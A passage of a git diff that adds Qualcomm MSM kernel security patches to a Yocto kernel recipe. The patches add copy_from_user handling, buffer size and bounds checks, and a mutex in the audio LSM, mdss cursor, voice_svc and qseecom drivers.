snd_pcm_substream *substream, + break; + } + case SNDRV_LSM_LAB_CONTROL: { +- u32 *enable = NULL; +- if (!arg) { +- dev_err(rtd->dev, +- "%s: Invalid param arg for ioctl %s session %d\n", +- __func__, "SNDRV_LSM_LAB_CONTROL", +- prtd->lsm_client->session); +- rc = -EINVAL; +- break; ++ u32 enable; ++ ++ if (copy_from_user(&enable, arg, sizeof(enable))) { ++ dev_err(rtd->dev, "%s: %s: copy_frm_user failed\n", ++ __func__, "LSM_LAB_CONTROL"); ++ return -EFAULT; + } +- enable = (int *)arg; ++ + dev_dbg(rtd->dev, "%s: ioctl %s, enable = %d\n", +- __func__, "SNDRV_LSM_LAB_CONTROL", *enable); ++ __func__, "SNDRV_LSM_LAB_CONTROL", enable); + if (!prtd->lsm_client->started) { +- if (prtd->lsm_client->lab_enable == *enable) { ++ if (prtd->lsm_client->lab_enable == enable) { + dev_dbg(rtd->dev, + "%s: Lab for session %d already %s\n", + __func__, prtd->lsm_client->session, +- ((*enable) ? "enabled" : "disabled")); ++ enable ? "enabled" : "disabled"); + rc = 0; + break; + } +- rc = q6lsm_lab_control(prtd->lsm_client, *enable); ++ rc = q6lsm_lab_control(prtd->lsm_client, enable); + if (rc) { + dev_err(rtd->dev, + "%s: ioctl %s failed rc %d to %s lab for session %d\n", + __func__, "SNDRV_LAB_CONTROL", rc, +- ((*enable) ? "enable" : "disable"), ++ enable ? "enable" : "disable", + prtd->lsm_client->session); + } else { + rc = msm_lsm_lab_buffer_alloc(prtd, +- ((*enable) ? LAB_BUFFER_ALLOC +- : LAB_BUFFER_DEALLOC)); ++ enable ? LAB_BUFFER_ALLOC ++ : LAB_BUFFER_DEALLOC); + if (rc) + dev_err(rtd->dev, + "%s: msm_lsm_lab_buffer_alloc failed rc %d for %s", + __func__, rc, +- ((*enable) ? "ALLOC" : "DEALLOC")); ++ enable ? "ALLOC" : "DEALLOC"); + if (!rc) +- prtd->lsm_client->lab_enable = *enable; ++ prtd->lsm_client->lab_enable = enable; + } + } else { + dev_err(rtd->dev, "%s: ioctl %s issued after start", +@@ -1060,12 +1056,6 @@ static int msm_lsm_ioctl_shared(struct snd_pcm_substream *substream, + return rc; + } + #ifdef CONFIG_COMPAT +-struct snd_lsm_event_status32 { +- u16 status; +- u16 payload_size; +- u8 payload[0]; +-}; +- + struct snd_lsm_sound_model_v2_32 { + compat_uptr_t data; + compat_uptr_t confidence_level; +@@ -1097,8 +1087,6 @@ struct snd_lsm_module_params_32 { + }; + + enum { +- SNDRV_LSM_EVENT_STATUS32 = +- _IOW('U', 0x02, struct snd_lsm_event_status32), + SNDRV_LSM_REG_SND_MODEL_V2_32 = + _IOW('U', 0x07, struct snd_lsm_sound_model_v2_32), + SNDRV_LSM_SET_PARAMS_32 = +@@ -1129,12 +1117,12 @@ static int msm_lsm_ioctl_compat(struct snd_pcm_substream *substream, + prtd = runtime->private_data; + + switch (cmd) { +- case SNDRV_LSM_EVENT_STATUS32: { +- struct snd_lsm_event_status32 userarg32, *user32 = NULL; +- struct snd_lsm_event_status *user = NULL; ++ case SNDRV_LSM_EVENT_STATUS: { ++ struct snd_lsm_event_status *user = NULL, userarg32; ++ struct snd_lsm_event_status *user32 = NULL; + if (copy_from_user(&userarg32, arg, sizeof(userarg32))) { + dev_err(rtd->dev, "%s: err copyuser ioctl %s\n", +- __func__, "SNDRV_LSM_EVENT_STATUS32"); ++ __func__, "SNDRV_LSM_EVENT_STATUS"); + return -EFAULT; + } + +@@ -1288,13 +1276,6 @@ static int msm_lsm_ioctl_compat(struct snd_pcm_substream *substream, + return -EINVAL; + } + +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s: No Param data to set\n", +- __func__, "SET_MODULE_PARAMS_32"); +- return -EINVAL; +- } +- + if (copy_from_user(&p_data_32, arg, + sizeof(p_data_32))) { + dev_err(rtd->dev, +@@ -1379,6 +1360,19 @@ static int msm_lsm_ioctl_compat(struct snd_pcm_substream *substream, + kfree(params32); + break; + } ++ case SNDRV_LSM_REG_SND_MODEL_V2: ++ case SNDRV_LSM_SET_PARAMS: ++ case SNDRV_LSM_SET_MODULE_PARAMS: ++ /* ++ * In ideal cases, the compat_ioctl should never be called ++ * with the above unlocked ioctl commands. Print error ++ * and return error if it does. ++ */ ++ dev_err(rtd->dev, ++ "%s: Invalid cmd for compat_ioctl\n", ++ __func__); ++ err = -EINVAL; ++ break; + default: + err = msm_lsm_ioctl_shared(substream, cmd, arg); + break; +@@ -1394,7 +1388,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + { + int err = 0; + u32 size = 0; +- struct snd_lsm_session_data session_data; + struct snd_pcm_runtime *runtime; + struct snd_soc_pcm_runtime *rtd; + struct lsm_priv *prtd; +@@ -1409,26 +1402,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + rtd = substream->private_data; + + switch (cmd) { +- case SNDRV_LSM_SET_SESSION_DATA: +- dev_dbg(rtd->dev, +- "%s: SNDRV_LSM_SET_SESSION_DATA\n", +- __func__); +- if (copy_from_user(&session_data, (void *)arg, +- sizeof(struct snd_lsm_session_data))) { +- err = -EFAULT; +- dev_err(rtd->dev, +- "%s: copy from user failed, size %zd\n", +- __func__, sizeof(struct snd_lsm_session_data)); +- break; +- } +- if (!err) +- err = msm_lsm_ioctl_shared(substream, +- cmd, &session_data); +- if (err) +- dev_err(rtd->dev, +- "%s REG_SND_MODEL failed err %d\n", +- __func__, err); +- break; + case SNDRV_LSM_REG_SND_MODEL_V2: { + struct snd_lsm_sound_model_v2 snd_model_v2; + +@@ -1439,11 +1412,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + return -EINVAL; + } + +- if (!arg) { +- dev_err(rtd->dev, +- "%s: Invalid params snd_model\n", __func__); +- return -EINVAL; +- } + if (copy_from_user(&snd_model_v2, arg, sizeof(snd_model_v2))) { + err = -EFAULT; + dev_err(rtd->dev, +@@ -1472,12 +1440,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + } + + pr_debug("%s: SNDRV_LSM_SET_PARAMS\n", __func__); +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s, Invalid params\n", +- __func__, "SNDRV_LSM_SET_PARAMS"); +- return -EINVAL; +- } + + if (copy_from_user(&det_params, arg, + sizeof(det_params))) { +@@ -1510,13 +1472,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + return -EINVAL; + } + +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s: No Param data to set\n", +- __func__, "SET_MODULE_PARAMS"); +- return -EINVAL; +- } +- + if (copy_from_user(&p_data, arg, + sizeof(p_data))) { + dev_err(rtd->dev, +@@ -1574,12 +1529,6 @@ static int msm_lsm_ioctl(struct snd_pcm_substream *substream, + struct snd_lsm_event_status *user = NULL, userarg; + dev_dbg(rtd->dev, + "%s: SNDRV_LSM_EVENT_STATUS\n", __func__); +- if (!arg) { +- dev_err(rtd->dev, +- "%s: Invalid params event status\n", +- __func__); +- return -EINVAL; +- } + if (copy_from_user(&userarg, arg, sizeof(userarg))) { + dev_err(rtd->dev, + "%s: err copyuser event_status\n", +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0184-504558552428-msm mdss Validate cursor image size.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0184-504558552428-msm mdss Validate cursor image size.patch new file mode 100644 index 0000000..808d0c6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0184-504558552428-msm mdss Validate cursor image size.patch @@ -0,0 +1,42 @@ +From 50455855242807501b4b008a203d79b763734ec9 Mon Sep 17 00:00:00 2001 +From: Naseer Ahmed +Date: Wed, 11 Jan 2017 12:57:48 -0500 +Subject: msm: mdss: Validate cursor image size + +Check size of cursor image provided by userspace and return error +appropriately. + +Bug: 34125463 +CRs-Fixed: 1115406 +Change-Id: I31aee3c9219921cf5c4306b36f8708582b838c38 +Signed-off-by: Naseer Ahmed +--- + drivers/video/msm/mdss/mdss_mdp_overlay.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_overlay.c b/drivers/video/msm/mdss/mdss_mdp_overlay.c +index c279cef..8dd71e3 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_overlay.c ++++ b/drivers/video/msm/mdss/mdss_mdp_overlay.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -3884,6 +3884,12 @@ static int mdss_mdp_hw_cursor_pipe_update(struct msm_fb_data_type *mfd, + req->transp_mask = img->bg_color & ~(0xff << var->transp.offset); + + if (mfd->cursor_buf && (cursor->set & FB_CUR_SETIMAGE)) { ++ if (img->width * img->height * 4 > cursor_frame_size) { ++ pr_err("cursor image size is too large\n"); ++ ret = -EINVAL; ++ goto done; ++ } ++ + ret = copy_from_user(mfd->cursor_buf, img->data, + img->width * img->height * 4); + if (ret) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0185-d3237316314c-drivers soc add mutex to prevent response being processed twice.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0185-d3237316314c-drivers soc add mutex to prevent response being processed twice.patch new file mode 100644 index 0000000..7ad60b2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0185-d3237316314c-drivers soc add mutex to prevent response being processed twice.patch @@ -0,0 +1,130 @@ +From d3237316314c3d6f75a58192971f66e3822cd250 Mon Sep 17 00:00:00 2001 +From: Siena Richard +Date: Thu, 26 Jan 2017 15:02:42 -0800 +Subject: drivers: soc: add mutex to prevent response being processed twice + +Add a mutex to prevent two threads from processing the same response +at the same time. This ensures responses are processed completely and +sequentially. + +CRs-Fixed: 1116015 +Change-Id: Id2ef32edb939f8af2850b54bd6f6f447939c0732 +Signed-off-by: Siena Richard +--- + drivers/soc/qcom/qdsp6v2/voice_svc.c | 26 ++++++++++++++++++++------ + 1 file changed, 20 insertions(+), 6 deletions(-) + +diff --git a/drivers/soc/qcom/qdsp6v2/voice_svc.c b/drivers/soc/qcom/qdsp6v2/voice_svc.c +index 50dd925..10f71b8 100644 +--- a/drivers/soc/qcom/qdsp6v2/voice_svc.c ++++ b/drivers/soc/qcom/qdsp6v2/voice_svc.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -42,6 +42,12 @@ struct voice_svc_prvt { + struct list_head response_queue; + wait_queue_head_t response_wait; + spinlock_t response_lock; ++ /* ++ * This mutex ensures responses are processed in sequential order and ++ * that no two threads access and free the same response at the same ++ * time. ++ */ ++ struct mutex response_mutex_lock; + }; + + struct apr_data { +@@ -467,6 +473,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + goto done; + } + ++ mutex_lock(&prtd->response_mutex_lock); + spin_lock_irqsave(&prtd->response_lock, spin_flags); + + if (list_empty(&prtd->response_queue)) { +@@ -480,7 +487,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + pr_debug("%s: Read timeout\n", __func__); + + ret = -ETIMEDOUT; +- goto done; ++ goto unlock; + } else if (ret > 0 && !list_empty(&prtd->response_queue)) { + pr_debug("%s: Interrupt recieved for response\n", + __func__); +@@ -488,7 +495,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + pr_debug("%s: Interrupted by SIGNAL %d\n", + __func__, ret); + +- goto done; ++ goto unlock; + } + + spin_lock_irqsave(&prtd->response_lock, spin_flags); +@@ -507,7 +514,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + __func__, count, size); + + ret = -ENOMEM; +- goto done; ++ goto unlock; + } + + if (!access_ok(VERIFY_WRITE, arg, size)) { +@@ -515,7 +522,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + __func__); + + ret = -EPERM; +- goto done; ++ goto unlock; + } + + ret = copy_to_user(arg, &resp->resp, +@@ -525,7 +532,7 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + pr_err("%s: copy_to_user failed %d\n", __func__, ret); + + ret = -EPERM; +- goto done; ++ goto unlock; + } + + spin_lock_irqsave(&prtd->response_lock, spin_flags); +@@ -539,6 +546,8 @@ static ssize_t voice_svc_read(struct file *file, char __user *arg, + + ret = count; + ++unlock: ++ mutex_unlock(&prtd->response_mutex_lock); + done: + return ret; + } +@@ -594,6 +603,7 @@ static int voice_svc_open(struct inode *inode, struct file *file) + INIT_LIST_HEAD(&prtd->response_queue); + init_waitqueue_head(&prtd->response_wait); + spin_lock_init(&prtd->response_lock); ++ mutex_init(&prtd->response_mutex_lock); + file->private_data = (void *)prtd; + + /* Current APR implementation doesn't support session based +@@ -644,6 +654,7 @@ static int voice_svc_release(struct inode *inode, struct file *file) + pr_err("%s: Failed to dereg MVM %d\n", __func__, ret); + } + ++ mutex_lock(&prtd->response_mutex_lock); + spin_lock_irqsave(&prtd->response_lock, spin_flags); + + while (!list_empty(&prtd->response_queue)) { +@@ -657,6 +668,9 @@ static int voice_svc_release(struct inode *inode, struct file *file) + } + + spin_unlock_irqrestore(&prtd->response_lock, spin_flags); ++ mutex_unlock(&prtd->response_mutex_lock); ++ ++ mutex_destroy(&prtd->response_mutex_lock); + + kfree(file->private_data); + file->private_data = NULL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0186-38a83df03608-ASoC msmcpelsm cleanup ioctl functions.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0186-38a83df03608-ASoC msmcpelsm cleanup ioctl functions.patch new file mode 100644 index 0000000..8ae0e3a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0186-38a83df03608-ASoC msmcpelsm cleanup ioctl functions.patch @@ -0,0 +1,137 @@ +From 38a83df036084c00e8c5a4599c8ee7880b4ee567 Mon Sep 17 00:00:00 2001 +From: Walter Yang +Date: Wed, 21 Dec 2016 14:43:46 +0800 +Subject: ASoC: msm-cpe-lsm: cleanup ioctl functions + +Some of the ioctl command handling is not properly using the +copy_from_user interface. Fix these issues and cleanup the ioctl +functions to make sure there is no illegal memory access. + +CRs-Fixed: 1090482 +Change-Id: Ib18e4b132d3487a3103335768aad5df2ebe13f2d +Signed-off-by: Walter Yang +--- + sound/soc/msm/msm-cpe-lsm.c | 51 +++++++++++++-------------------------------- + 1 file changed, 14 insertions(+), 37 deletions(-) + +diff --git a/sound/soc/msm/msm-cpe-lsm.c b/sound/soc/msm/msm-cpe-lsm.c +index ef4c9b0..0b77e8c 100644 +--- a/sound/soc/msm/msm-cpe-lsm.c ++++ b/sound/soc/msm/msm-cpe-lsm.c +@@ -1179,13 +1179,6 @@ static int msm_cpe_lsm_ioctl_shared(struct snd_pcm_substream *substream, + dev_dbg(rtd->dev, + "%s: %s\n", + __func__, "SNDRV_LSM_REG_SND_MODEL_V2"); +- if (!arg) { +- dev_err(rtd->dev, +- "%s: Invalid argument to ioctl %s\n", +- __func__, +- "SNDRV_LSM_REG_SND_MODEL_V2"); +- return -EINVAL; +- } + + memcpy(&snd_model, arg, + sizeof(struct snd_lsm_sound_model_v2)); +@@ -1328,13 +1321,6 @@ static int msm_cpe_lsm_ioctl_shared(struct snd_pcm_substream *substream, + dev_dbg(rtd->dev, + "%s: %s\n", + __func__, "SNDRV_LSM_EVENT_STATUS"); +- if (!arg) { +- dev_err(rtd->dev, +- "%s: Invalid argument to ioctl %s\n", +- __func__, +- "SNDRV_LSM_EVENT_STATUS"); +- return -EINVAL; +- } + + user = arg; + +@@ -1437,12 +1423,6 @@ static int msm_cpe_lsm_ioctl_shared(struct snd_pcm_substream *substream, + break; + + case SNDRV_LSM_SET_PARAMS: +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s Invalid argument\n", +- __func__, "SNDRV_LSM_SET_PARAMS"); +- return -EINVAL; +- } + memcpy(&det_params, arg, + sizeof(det_params)); + if (det_params.num_confidence_levels <= 0) { +@@ -2289,12 +2269,6 @@ done: + } + + #ifdef CONFIG_COMPAT +-struct snd_lsm_event_status32 { +- u16 status; +- u16 payload_size; +- u8 payload[0]; +-}; +- + struct snd_lsm_sound_model_v2_32 { + compat_uptr_t data; + compat_uptr_t confidence_level; +@@ -2326,8 +2300,6 @@ struct snd_lsm_module_params_32 { + }; + + enum { +- SNDRV_LSM_EVENT_STATUS32 = +- _IOW('U', 0x02, struct snd_lsm_event_status32), + SNDRV_LSM_REG_SND_MODEL_V2_32 = + _IOW('U', 0x07, struct snd_lsm_sound_model_v2_32), + SNDRV_LSM_SET_PARAMS32 = +@@ -2421,7 +2393,7 @@ static int msm_cpe_lsm_ioctl_compat(struct snd_pcm_substream *substream, + err); + } + break; +- case SNDRV_LSM_EVENT_STATUS32: { ++ case SNDRV_LSM_EVENT_STATUS: { + struct snd_lsm_event_status *event_status = NULL; + struct snd_lsm_event_status u_event_status32; + struct snd_lsm_event_status *udata_32 = NULL; +@@ -2463,7 +2435,6 @@ static int msm_cpe_lsm_ioctl_compat(struct snd_pcm_substream *substream, + } else { + event_status->payload_size = + u_event_status32.payload_size; +- cmd = SNDRV_LSM_EVENT_STATUS; + err = msm_cpe_lsm_ioctl_shared(substream, + cmd, event_status); + if (err) +@@ -2563,13 +2534,6 @@ static int msm_cpe_lsm_ioctl_compat(struct snd_pcm_substream *substream, + return -EINVAL; + } + +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s: No Param data to set\n", +- __func__, "SET_MODULE_PARAMS_32"); +- return -EINVAL; +- } +- + if (copy_from_user(&p_data_32, arg, + sizeof(p_data_32))) { + dev_err(rtd->dev, +@@ -2647,6 +2611,19 @@ static int msm_cpe_lsm_ioctl_compat(struct snd_pcm_substream *substream, + kfree(params32); + break; + } ++ case SNDRV_LSM_REG_SND_MODEL_V2: ++ case SNDRV_LSM_SET_PARAMS: ++ case SNDRV_LSM_SET_MODULE_PARAMS: ++ /* ++ * In ideal cases, the compat_ioctl should never be called ++ * with the above unlocked ioctl commands. Print error ++ * and return error if it does. ++ */ ++ dev_err(rtd->dev, ++ "%s: Invalid cmd for compat_ioctl\n", ++ __func__); ++ err = -EINVAL; ++ break; + default: + err = msm_cpe_lsm_ioctl_shared(substream, cmd, arg); + break; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0187-65009746a6e6-ASoC msm qdsp6v2 return error when copy from userspace fails.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0187-65009746a6e6-ASoC msm qdsp6v2 return error when copy from userspace fails.patch new file mode 100644 index 0000000..04de703 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0187-65009746a6e6-ASoC msm qdsp6v2 return error when copy from userspace fails.patch @@ -0,0 +1,34 @@ +From 65009746a6e649779f73d665934561ea983892fe Mon Sep 17 00:00:00 2001 +From: Siena Richard +Date: Mon, 5 Dec 2016 12:26:52 -0800 +Subject: ASoC: msm: qdsp6v2: return error when copy from userspace fails + +A copy_from_user is not always expected to succeed. Therefore, check +for an error before operating on the buffer post copy. + +Change-Id: Ibba9a47c84e735d30e32eeac5b80d51044b7a9e8 +CRs-Fixed: 1094852 +Signed-off-by: Siena Richard +--- + sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c b/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c +index 6570819..c444a27 100644 +--- a/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c ++++ b/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c +@@ -823,6 +823,11 @@ static int msm_pcm_playback_copy(struct snd_pcm_substream *substream, int a, + (sizeof(buf_node->frame.frm_hdr) + + sizeof(buf_node->frame.pktlen)); + } ++ if (ret) { ++ pr_err("%s: copy from user failed %d\n", ++ __func__, ret); ++ return -EFAULT; ++ } + spin_lock_irqsave(&prtd->dsp_lock, dsp_flags); + list_add_tail(&buf_node->list, &prtd->in_queue); + spin_unlock_irqrestore(&prtd->dsp_lock, dsp_flags); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0188-2bf336ed7ff2-ASoC msm qdsp6v2 return error when copy from userspace fails.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0188-2bf336ed7ff2-ASoC msm qdsp6v2 return error when copy from userspace fails.patch new file mode 100644 index 0000000..88feecd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0188-2bf336ed7ff2-ASoC msm qdsp6v2 return error when copy from userspace fails.patch @@ -0,0 +1,59 @@ +From 2bf336ed7ff29768b63fcf0d9528dd129f516643 Mon Sep 17 00:00:00 2001 +From: Siena Richard +Date: Tue, 31 Jan 2017 12:21:38 -0800 +Subject: ASoC: msm: qdsp6v2: return error when copy from userspace fails + +A copy_from_user is not always expected to succeed. Therefore, check +for an error before operating on the buffer post copy. + +CRs-Fixed: 1116070 +Change-Id: I21032719e6e85f280ca0cda875c84ac8dee8916b +Signed-off-by: Siena Richard +--- + sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c | 17 +++++++++++------ + 1 file changed, 11 insertions(+), 6 deletions(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c b/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c +index c444a27..b2387a7 100644 +--- a/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c ++++ b/sound/soc/msm/qdsp6v2/msm-pcm-voip-v2.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -814,20 +814,25 @@ static int msm_pcm_playback_copy(struct snd_pcm_substream *substream, int a, + if (prtd->mode == MODE_PCM) { + ret = copy_from_user(&buf_node->frame.voc_pkt, + buf, count); ++ if (ret) { ++ pr_err("%s: copy from user failed %d\n", ++ __func__, ret); ++ return -EFAULT; ++ } + buf_node->frame.pktlen = count; + } else { + ret = copy_from_user(&buf_node->frame, + buf, count); ++ if (ret) { ++ pr_err("%s: copy from user failed %d\n", ++ __func__, ret); ++ return -EFAULT; ++ } + if (buf_node->frame.pktlen >= count) + buf_node->frame.pktlen = count - + (sizeof(buf_node->frame.frm_hdr) + + sizeof(buf_node->frame.pktlen)); + } +- if (ret) { +- pr_err("%s: copy from user failed %d\n", +- __func__, ret); +- return -EFAULT; +- } + spin_lock_irqsave(&prtd->dsp_lock, dsp_flags); + list_add_tail(&buf_node->list, &prtd->in_queue); + spin_unlock_irqrestore(&prtd->dsp_lock, dsp_flags); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0189-05efafc998dc-msm318 drivers added validation of inputoutput buffer sizes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0189-05efafc998dc-msm318 drivers added validation of inputoutput buffer sizes.patch new file mode 100644 index 0000000..208568f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0189-05efafc998dc-msm318 drivers added validation of inputoutput buffer sizes.patch @@ -0,0 +1,43 @@ +From 05efafc998dc86c3b75af9803ca71255ddd7a8eb Mon Sep 17 00:00:00 2001 +From: Brahmaji K +Date: Tue, 13 Dec 2016 20:32:24 +0530 +Subject: msm-3.18: drivers : added validation of input/output buffer sizes + +This change fixes issues reagrding the ioctl +QSEECOM_IOCTL_MDTP_CIPHER_DIP_REQ uncovered by fuzzy tests. +Modified handler of above ioctl, not to allow input/output +buffer sizes greater than a fixed defined size. + +Change-Id: I69f94a29d939341564f6f3ebfda48fceaa934542 +Signed-off-by: Brahmaji K +--- + drivers/misc/qseecom.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index baea36b..34b70fd 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -80,6 +80,9 @@ + /* Encrypt/Decrypt Data Integrity Partition (DIP) for MDTP */ + #define SCM_MDTP_CIPHER_DIP 0x01 + ++/* Maximum Allowed Size (128K) of Data Integrity Partition (DIP) for MDTP */ ++#define MAX_DIP 0x20000 ++ + #define RPMB_SERVICE 0x2000 + #define SSD_SERVICE 0x3000 + +@@ -6029,7 +6032,8 @@ static int qseecom_mdtp_cipher_dip(void __user *argp) + } + + if (req.in_buf == NULL || req.out_buf == NULL || +- req.in_buf_size == 0 || req.out_buf_size == 0 || ++ req.in_buf_size == 0 || req.in_buf_size > MAX_DIP || ++ req.out_buf_size == 0 || req.out_buf_size > MAX_DIP || + req.direction > 1) { + pr_err("invalid parameters\n"); + ret = -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0190-b108c651cae9-qseecom improve input validatation for qseecomsendservicecmd.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0190-b108c651cae9-qseecom improve input validatation for qseecomsendservicecmd.patch new file mode 100644 index 0000000..2ceef3d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0190-b108c651cae9-qseecom improve input validatation for qseecomsendservicecmd.patch @@ -0,0 +1,217 @@ +From b108c651cae9913da1ab163cb4e5f7f2db87b747 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Wed, 11 Jan 2017 12:12:31 -0800 +Subject: qseecom: improve input validatation for qseecom_send_service_cmd + +Make change to improve input validation on request and response +buffers' address and length for qseecom_send_service_cmd. + +Change-Id: I047e3264333d767541e43b7dadd1727232fd48ef +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 152 ++++++++++++++++++++++++++++--------------------- + 1 file changed, 88 insertions(+), 64 deletions(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index 20949487..5e37cd6 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -1,6 +1,6 @@ + /*Qualcomm Secure Execution Environment Communicator (QSEECOM) driver + * +- * Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -2634,11 +2634,6 @@ int __qseecom_process_rpmb_svc_cmd(struct qseecom_dev_handle *data_ptr, + return -EINVAL; + } + +- if ((!req_ptr->cmd_req_buf) || (!req_ptr->resp_buf)) { +- pr_err("Invalid req/resp buffer, exiting\n"); +- return -EINVAL; +- } +- + /* Clients need to ensure req_buf is at base offset of shared buffer */ + if ((uintptr_t)req_ptr->cmd_req_buf != + data_ptr->client.user_virt_sb_base) { +@@ -2646,15 +2641,11 @@ int __qseecom_process_rpmb_svc_cmd(struct qseecom_dev_handle *data_ptr, + return -EINVAL; + } + +- if (((uintptr_t)req_ptr->resp_buf < +- data_ptr->client.user_virt_sb_base) || +- ((uintptr_t)req_ptr->resp_buf >= +- (data_ptr->client.user_virt_sb_base + +- data_ptr->client.sb_length))){ +- pr_err("response buffer address not within shared bufffer\n"); ++ if (data_ptr->client.sb_length < ++ sizeof(struct qseecom_rpmb_provision_key)) { ++ pr_err("shared buffer is too small to hold key type\n"); + return -EINVAL; + } +- + req_buf = data_ptr->client.sb_virt; + + send_svc_ireq_ptr->qsee_cmd_id = req_ptr->cmd_id; +@@ -2681,36 +2672,6 @@ int __qseecom_process_fsm_key_svc_cmd(struct qseecom_dev_handle *data_ptr, + return -EINVAL; + } + +- if (((uintptr_t)req_ptr->cmd_req_buf < +- data_ptr->client.user_virt_sb_base) || +- ((uintptr_t)req_ptr->cmd_req_buf >= +- (data_ptr->client.user_virt_sb_base + +- data_ptr->client.sb_length))) { +- pr_err("cmd buffer address not within shared bufffer\n"); +- return -EINVAL; +- } +- +- if (((uintptr_t)req_ptr->resp_buf < +- data_ptr->client.user_virt_sb_base) || +- ((uintptr_t)req_ptr->resp_buf >= +- (data_ptr->client.user_virt_sb_base + +- data_ptr->client.sb_length))){ +- pr_err("response buffer address not within shared bufffer\n"); +- return -EINVAL; +- } +- +- if ((req_ptr->cmd_req_len == 0) || (req_ptr->resp_len == 0) || +- req_ptr->cmd_req_len > data_ptr->client.sb_length || +- req_ptr->resp_len > data_ptr->client.sb_length) { +- pr_err("cmd buffer length or response buffer length not valid\n"); +- return -EINVAL; +- } +- +- if (req_ptr->cmd_req_len > UINT_MAX - req_ptr->resp_len) { +- pr_err("Integer overflow detected in req_len & rsp_len, exiting now\n"); +- return -EINVAL; +- } +- + reqd_len_sb_in = req_ptr->cmd_req_len + req_ptr->resp_len; + if (reqd_len_sb_in > data_ptr->client.sb_length) { + pr_err("Not enough memory to fit cmd_buf and resp_buf. "); +@@ -2732,28 +2693,11 @@ int __qseecom_process_fsm_key_svc_cmd(struct qseecom_dev_handle *data_ptr, + return ret; + } + +-static int qseecom_send_service_cmd(struct qseecom_dev_handle *data, +- void __user *argp) ++static int __validate_send_service_cmd_inputs(struct qseecom_dev_handle *data, ++ struct qseecom_send_svc_cmd_req *req) + { +- int ret = 0; +- struct qseecom_client_send_service_ireq send_svc_ireq; +- struct qseecom_client_send_fsm_key_req send_fsm_key_svc_ireq; +- struct qseecom_command_scm_resp resp; +- struct qseecom_send_svc_cmd_req req; +- void *send_req_ptr; +- size_t req_buf_size; +- +- /*struct 